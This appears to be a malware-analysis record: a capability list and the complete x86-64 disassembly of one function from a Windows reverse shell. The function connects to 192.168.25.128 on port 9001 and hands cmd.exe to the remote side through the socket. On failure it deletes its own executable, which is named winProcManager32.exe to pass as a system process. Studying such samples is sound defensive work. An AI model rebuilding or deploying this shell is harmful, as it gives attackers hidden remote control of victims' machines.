Function at 0x1400016d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Execute command
Initialize winsock library
Resolve dns
Self delete

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [0x1400100a0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [0x140010238], rax
lea rax, str.192.168.25.128
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0
jne 0x14000177f
lea rax, str.Failed_to_resolve_host_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.del_c:_winProcManager32.exe
mov rcx, rax
call sym.system
mov eax, 1
jmp 0x140001aa7
mov rax, qword [rbp + 0xd8]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_inet_ntoa]
call rax
mov qword [rbp + 0xd0], rax
mov word [0x140010240], 2
lea rax, str.9001
mov rcx, rax
call sym.atoi
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [0x140010242], ax
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [0x140010244], eax
mov rax, qword [0x140010238]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x10
lea rdx, [0x140010240]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_WSAConnect]
call rax
cmp eax, 0xffffffff
sete al
test al, al
je 0x14000185a
lea rax, str.Failed_to_connect_to_server_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.del_c:_winProcManager32.exe
mov rcx, rax
call sym.system
mov eax, 1
jmp 0x140001aa7
mov r8d, 0x68
mov edx, 0
lea rax, [0x140010260]
mov rcx, rax
call sym.memset
mov dword [0x140010260], 0x68
mov dword [0x14001029c], 0x101
mov rax, qword [0x140010238]
mov qword [0x1400102c0], rax
mov rax, qword [0x1400102c0]
mov qword [0x1400102b8], rax
mov rax, qword [0x1400102b8]
mov qword [0x1400102b0], rax
movabs rax, 0x6578652e646d63
mov edx, 0
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], 0
mov qword [rbp], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x20], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x30], 0
mov qword [rbp + 0x38], 0
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 0
mov qword [rbp + 0x58], 0
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x70], 0
mov qword [rbp + 0x78], 0
mov qword [rbp + 0x80], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
mov qword [rbp + 0x98], 0
mov qword [rbp + 0xa0], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xbf], 0
mov qword [rbp + 0xc7], 0
lea rax, [rbp - 0x30]
lea rdx, [0x1400102d0]
mov qword [rsp + 0x48], rdx
lea rdx, [0x140010260]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
sete al
test al, al
je 0x140001a60
lea rax, str.Failed_to_create_process_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.del_c:_winProcManager32.exe
mov rcx, rax
call sym.system
mov eax, 1
jmp 0x140001aa7
mov rax, qword [0x1400102d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x1400102d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x140010238]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret